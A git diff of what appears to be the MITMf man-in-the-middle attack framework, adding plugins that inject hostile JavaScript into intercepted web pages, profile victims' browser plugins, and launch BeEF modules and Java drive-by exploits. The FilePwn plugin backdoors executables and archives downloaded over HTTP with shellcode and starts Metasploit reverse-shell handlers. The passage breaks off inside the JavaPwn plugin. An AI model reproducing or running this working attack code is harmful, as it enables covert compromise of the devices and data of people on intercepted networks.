self.config['BeEFAutorun']["targets"] + + if len(all_modules) > 0: + mitmf_logger.info("{} >> sending generic modules".format(session_ip)) + for module, options in all_modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) + else: + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + sleep(0.5) + + mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) + for os in targeted_modules: + if (os in hook_os) or (os == hook_os): + browsers = targeted_modules[os] + if len(browsers) > 0: + for browser in browsers: + if browser == hook_browser: + modules = targeted_modules[os][browser] + if len(modules) > 0: + for module, options in modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) + else: + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py new file mode 100644 index 0000000..1b48b6a --- /dev/null +++ b/plugins/BrowserProfiler.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import logging + +from pprint import pformat +from plugins.plugin import Plugin +from plugins.Inject import Inject + +mitmf_logger = logging.getLogger("mitmf") + +class BrowserProfiler(Inject, Plugin): + name = "Browser Profiler" + optname = "browserprofiler" + desc = "Attempts to enumerate all browser plugins of connected clients" + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] + depends = ["Inject"] + version = "0.2" + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.get_payload() + self.dic_output = {} # so other plugins can access the results + + def post2dict(self, post): #converts the ajax post to a dic + dict = {} + for line in post.split('&'): + t = line.split('=') + dict[t[0]] = t[1] + return dict + + def sendPostData(self, request): + #Handle the plugin output + if 'clientprfl' in request.uri: + self.dic_output = self.post2dict(request.postData) + self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client + if self.dic_output['plugin_list'] > 0: + self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') + pretty_output = pformat(self.dic_output) + mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) + + def get_payload(self): + payload = """""" + + return payload diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py new file mode 100644 index 0000000..54bf08a --- /dev/null +++ b/plugins/FilePwn.py @@ -0,0 +1,650 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' +# +# Author Joshua Pitts the.midnite.runr 'at' gmail com +# +# Copyright (c) 2013-2014, Joshua Pitts +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. +# +# Tested on Kali-Linux. + +import sys +import os +import pefile +import zipfile +import logging +import shutil +import random +import string +import tarfile +import multiprocessing + +from libs.bdfactory import pebin +from libs.bdfactory import elfbin +from libs.bdfactory import machobin +from core.msfrpc import Msfrpc +from plugins.plugin import Plugin +from tempfile import mkstemp +from configobj import ConfigObj + +mitmf_logger = logging.getLogger("mitmf") + +class FilePwn(Plugin): + name = "FilePwn" + optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" + implements = ["handleResponse"] + tree_output = ["BDFProxy v0.3.2 online"] + version = "0.3" + has_opts = False + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + + self.patched = multiprocessing.Queue() + + #FOR FUTURE USE + self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] + + #FOR FUTURE USE + self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] + + #USED NOW + self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, + 'pe': {'number': 'MZ', 'offset': 0}, + 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, + 'bz': {'number': 'BZ', 'offset': 0}, + 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, + 'tar': {'number': 'ustar', 'offset': 257}, + 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, + 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, + 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, + } + + #NOT USED NOW + #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) + + #FilePwn options + self.userConfig = self.config['FilePwn'] + self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] + self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] + self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] + self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] + self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] + self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] + self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] + self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] + self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] + self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] + self.zipblacklist = self.userConfig['ZIP']['blacklist'] + self.tarblacklist = self.userConfig['TAR']['blacklist'] + + #Metasploit options + msfcfg = self.config['MITMf']['Metasploit'] + rpcip = msfcfg['rpcip'] + rpcpass = msfcfg['rpcpass'] + + try: + msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary + msf.login('msf', rpcpass) + version = msf.call('core.version')['version'] + self.tree_output.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + self.tree_output.append("Setting up Metasploit payload handlers") + jobs = msf.call('job.list') + for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: + cmd = "use exploit/multi/handler\n" + cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) + cmd += "set LHOST {}\n".format(config["HOST"]) + cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "exploit -j\n" + + if jobs: + for pid, name in jobs.iteritems(): + info = msf.call('job.info', [pid]) + if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): + #Create a virtual console + c_id = msf.call('console.create')['id'] + + #write the cmd to the newly created console + msf.call('console.write', [c_id, cmd]) + else: + #Create a virtual console + c_id = msf.call('console.create')['id'] + + #write the cmd to the newly created console + msf.call('console.write', [c_id, cmd]) + + def onConfigChange(self): + self.initialize(self.options) + + def convert_to_Bool(self, aString): + if aString.lower() == 'true': + return True + elif aString.lower() == 'false': + return False + elif aString.lower() == 'none': + return None + + def bytes_have_format(self, bytess, formatt): + number = self.magicNumbers[formatt] + if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: + return True + return False + + def binaryGrinder(self, binaryFile): + """ + Feed potential binaries into this function, + it will return the result PatchedBinary, False, or None + """ + + with open(binaryFile, 'r+b') as f: + binaryTMPHandle = f.read() + + binaryHeader = binaryTMPHandle[:4] + result = None + + try: + if binaryHeader[:2] == 'MZ': # PE/COFF + pe = pefile.PE(data=binaryTMPHandle, fast_load=True) + magic = pe.OPTIONAL_HEADER.Magic + machineType = pe.FILE_HEADER.Machine + + #update when supporting more than one arch + if (magic == int('20B', 16) and machineType == 0x8664 and + self.WindowsType.lower() in ['all', 'x64']): + add_section = False + cave_jumping = False + if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx64['SHELL'], + HOST=self.WindowsIntelx64['HOST'], + PORT=int(self.WindowsIntelx64['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() + ) + + result = targetFile.run_this() + + elif (machineType == 0x14c and + self.WindowsType.lower() in ['all', 'x86']): + add_section = False + cave_jumping = False + #add_section wins for cave_jumping + #default is single for BDF + if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx86['SHELL'], + HOST=self.WindowsIntelx86['HOST'], + PORT=int(self.WindowsIntelx86['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() + ) + + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF + + targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + if targetFile.class_type == 0x1: + #x86CPU Type + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx86['SHELL'], + HOST=self.LinuxIntelx86['HOST'], + PORT=int(self.LinuxIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + elif targetFile.class_type == 0x2: + #x64 + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx64['SHELL'], + HOST=self.LinuxIntelx64['HOST'], + PORT=int(self.LinuxIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE + + if targetFile.FAT_FILE is True: + if self.FatPriority == 'x86': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif self.FatPriority == 'x64': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + self.patched.put(result) + return + + except Exception as e: + print 'Exception', str(e) + mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) + return None + + def tar_files(self, aTarFileBytes, formatt): + "When called will unpack and edit a Tar File and return a tar file" + + print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' + + if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): + print "[!] TarFile over allowed size" + mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) + self.patched.put(aTarFileBytes) + return + + with tempfile.NamedTemporaryFile() as tarFileStorage: + tarFileStorage.write(aTarFileBytes) + tarFileStorage.flush() + + if not tarfile.is_tarfile(tarFileStorage.name): + print '[!] Not a tar file' + self.patched.put(aTarFileBytes) + return + + compressionMode = ':' + if formatt == 'gz': + compressionMode = ':gz' + if formatt == 'bz': + compressionMode = ':bz2' + + tarFile = None + try: + tarFileStorage.seek(0) + tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) + except tarfile.ReadError: + pass + + if tarFile is None: + print '[!] Not a tar file' + self.patched.put(aTarFileBytes) + return + + print '[*] Tar file contents and info:' + print '[*] Compression:', formatt + + members = tarFile.getmembers() + for info in members: + print "\t", info.name, info.mtime, info.size + + newTarFileStorage = tempfile.NamedTemporaryFile() + newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) + + patchCount = 0 + wasPatched = False + + for info in members: + print "[*] >>> Next file in tarfile:", info.name + + if not info.isfile(): + print info.name, 'is not a file' + newTarFile.addfile(info, tarFile.extractfile(info)) + continue + + if info.size >= long(self.FileSizeMax): + print info.name, 'is too big' + newTarFile.addfile(info, tarFile.extractfile(info)) + continue + + # Check against keywords + keywordCheck = False + + if type(self.tarblacklist) is str: + if self.tarblacklist.lower() in info.name.lower(): + keywordCheck = True + + else: + for keyword in self.tarblacklist: + if keyword.lower() in info.name.lower(): + keywordCheck = True + continue + + if keywordCheck is True: + print "[!] Tar blacklist enforced!" + mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) + continue + + # Try to patch + extractedFile = tarFile.extractfile(info) + + if patchCount >= int(self.userConfig['TAR']['patchCount']): + newTarFile.addfile(info, extractedFile) + else: + # create the file on disk temporarily for fileGrinder to run on it + with tempfile.NamedTemporaryFile() as tmp: + shutil.copyfileobj(extractedFile, tmp) + tmp.flush() + patchResult = self.binaryGrinder(tmp.name) + if patchResult: + patchCount += 1 + file2 = "backdoored/" + os.path.basename(tmp.name) + print "[*] Patching complete, adding to tar file." + info.size = os.stat(file2).st_size + with open(file2, 'rb') as f: + newTarFile.addfile(info, f) + mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) + os.remove(file2) + wasPatched = True + else: + print "[!] Patching failed" + with open(tmp.name, 'rb') as f: + newTarFile.addfile(info, f) + mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) + if patchCount == int(self.userConfig['TAR']['patchCount']): + mitmf_logger.info("Met Tar config patchCount limit.") + + # finalize the writing of the tar file first + newTarFile.close() + + # then read the new tar file into memory + newTarFileStorage.seek(0) + ret = newTarFileStorage.read() + newTarFileStorage.close() # it's automatically deleted + + if wasPatched is False: + # If nothing was changed return the original + print "[*] No files were patched forwarding original file" + self.patched.put(aTarFileBytes) + return + else: + self.patched.put(ret) + return + + def zip_files(self, aZipFile): + "When called will unpack and edit a Zip File and return a zip file" + + print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' + + if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): + print "[!] ZipFile over allowed size" + mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) + self.patched.put(aZipFile) + return + + tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) + tmpDir = '/tmp/' + tmpRan + tmpFile = '/tmp/' + tmpRan + '.zip' + + os.mkdir(tmpDir) + + with open(tmpFile, 'w') as f: + f.write(aZipFile) + + zippyfile = zipfile.ZipFile(tmpFile, 'r') + + #encryption test + try: + zippyfile.testzip() + + except RuntimeError as e: + if 'encrypted' in str(e): + mitmf_logger.info('Encrypted zipfile found. Not patching.') + return aZipFile + + print "[*] ZipFile contents and info:" + + for info in zippyfile.infolist(): + print "\t", info.filename, info.date_time, info.file_size + + zippyfile.extractall(tmpDir) + + patchCount = 0 + + wasPatched = False + + for info in zippyfile.infolist(): + print "[*] >>> Next file in zipfile:", info.filename + + if os.path.isdir(tmpDir + '/' + info.filename) is True: + print info.filename, 'is a directory' + continue + + #Check against keywords + keywordCheck = False + + if type(self.zipblacklist) is str: + if self.zipblacklist.lower() in info.filename.lower(): + keywordCheck = True + + else: + for keyword in self.zipblacklist: + if keyword.lower() in info.filename.lower(): + keywordCheck = True + continue + + if keywordCheck is True: + print "[!] Zip blacklist enforced!" + mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) + continue + + patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) + + if patchResult: + patchCount += 1 + file2 = "backdoored/" + os.path.basename(info.filename) + print "[*] Patching complete, adding to zip file." + shutil.copyfile(file2, tmpDir + '/' + info.filename) + mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) + os.remove(file2) + wasPatched = True + else: + print "[!] Patching failed" + mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) + + print '-' * 10 + + if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. + mitmf_logger.info("Met Zip config patchCount limit.") + break + + zippyfile.close() + + zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) + + print "[*] Writing to zipfile:", tmpFile + + for base, dirs, files in os.walk(tmpDir): + for afile in files: + filename = os.path.join(base, afile) + print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') + zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) + + zipResult.close() + #clean up + shutil.rmtree(tmpDir) + + with open(tmpFile, 'rb') as f: + tempZipFile = f.read() + os.remove(tmpFile) + + if wasPatched is False: + print "[*] No files were patched forwarding original file" + self.patched.put(aZipFile) + return + else: + self.patched.put(tempZipFile) + return + + def handleResponse(self, request, data): + + content_header = request.client.headers['Content-Type'] + client_ip = request.client.getClientIP() + + if content_header in self.zipMimeTypes: + + if self.bytes_have_format(data, 'zip'): + mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) + + process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_zip = self.patched.get() + + if bd_zip: + mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) + return {'request': request, 'data': bd_zip} + + else: + for tartype in ['gz','bz','tar']: + if self.bytes_have_format(data, tartype): + mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) + + process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_tar = self.patched.get() + + if bd_tar: + mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) + return {'request': request, 'data': bd_tar} + + + elif content_header in self.binaryMimeTypes: + for bintype in ['pe','elf','fatfile','machox64','machox86']: + if self.bytes_have_format(data, bintype): + mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) + fd, tmpFile = mkstemp() + with open(tmpFile, 'w') as f: + f.write(data) + + process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) + process.daemon = True + process.start() + process.join() + patchb = self.patched.get() + + if patchb: + bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() + os.remove('./backdoored/' + os.path.basename(tmpFile)) + mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) + return {'request': request, 'data': bd_binary} + + else: + mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) + return {'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index 2b75e37..82877eb 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -53,18 +53,6 @@ class Inject(CacheKill, Plugin): self.match_str = options.match_str self.html_payload = options.html_payload - if self.white_ips: - temp = [] - for ip in self.white_ips.split(','): - temp.append(ip) - self.white_ips = temp - - if self.black_ips: - temp = [] - for ip in self.black_ips.split(','): - temp.append(ip) - self.black_ips = temp - if self.options.preserve_cache: self.implements.remove("handleHeader") self.implements.remove("connectionMade") @@ -82,8 +70,8 @@ class Inject(CacheKill, Plugin): #If you have MSF on another host, you may need to check prior to injection #print "http://" + request.client.getRequestHostname() + request.uri ip, hn, mime = self._get_req_info(request) - if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - if hn not in self.proxyip: #prevents recursive injecting + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.proxyip): + if (not self.js_src == self.html_src is not None or not self.html_payload == ""): data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True @@ -95,39 +83,28 @@ class Inject(CacheKill, Plugin): def _get_payload(self): return self._get_js() + self._get_iframe() + self.html_payload - def add_options(self, options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") - options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") - options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") - group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") - - def _should_inject(self, ip, hn, mime): + def _ip_filter(self, ip): if self.white_ips is not None: - if ip in self.white_ips: + if ip in self.white_ips.split(','): return True else: return False if self.black_ips is not None: - if ip in self.black_ips: + if ip in self.black_ips.split(','): return False else: return True + return True + + def _should_inject(self, ip, hn, mime): + if self.count_limit == self.rate_limit is None and not self.per_domain: return True if self.count_limit is not None and self.count > self.count_limit: - #print "1" return False if self.rate_limit is not None: @@ -176,3 +153,17 @@ class Inject(CacheKill, Plugin): data = re.sub(r, post[i][1]+"\g", data) return data + + def add_options(self, options): + options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") + options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") + options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") + options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") + options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") + options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") + group = options.add_mutually_exclusive_group(required=False) + group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") + group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py new file mode 100644 index 0000000..1a479ba --- /dev/null +++ b/plugins/JavaPwn.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +import sys +import logging + +from time import sleep +from core.msfrpc import Msfrpc +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler + +mitmf_logger = logging.getLogger("mitmf") + +class JavaPwn(BrowserProfiler, Plugin): + name = "JavaPwn" + optname = "javapwn" + desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" + tree_output = [] + version = "0.3" + has_opts = False + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.msfip = SystemConfig.getIP(options.interface) + + try: + msfcfg = options.configfile['MITMf']['Metasploit'] + except Exception, e: + sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e)) + + try: + self.javacfg = options.configfile['JavaPwn'] + except Exception, e: + sys.exit("[-] Error parsing config for JavaPwn: {}".format(e)) + + self.msfport = msfcfg['msfport'] + self.rpcip = msfcfg['rpcip'] + self.rpcpass = msfcfg['rpcpass'] + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + self.black_ips = [] + + try: + self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', self.rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_output.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + def onConfigChange(self): + self.initialize(self.options) + + def startThread(self, options): + self.pwn() + + def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) + + def get_exploit(self, java_version): + exploits = [] + + client_vstring = java_version[:-len(java_version.split('.')[3])-1] + client_uversion = int(java_version.split('.')[3]) + + for ver in self.javacfg['Multi'].iteritems(): + if type(ver[1]) is list: + for list_vers in ver[1]: + + version_string = list_vers[:-len(list_vers.split('.')[3])-1] + update_version = int(list_vers.split('.')[3]) + + if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): + if client_uversion == update_version: + exploits.append(ver[0]) + elif (client_vstring == version_string): + if client_uversion <= update_version: + exploits.append(ver[0]) 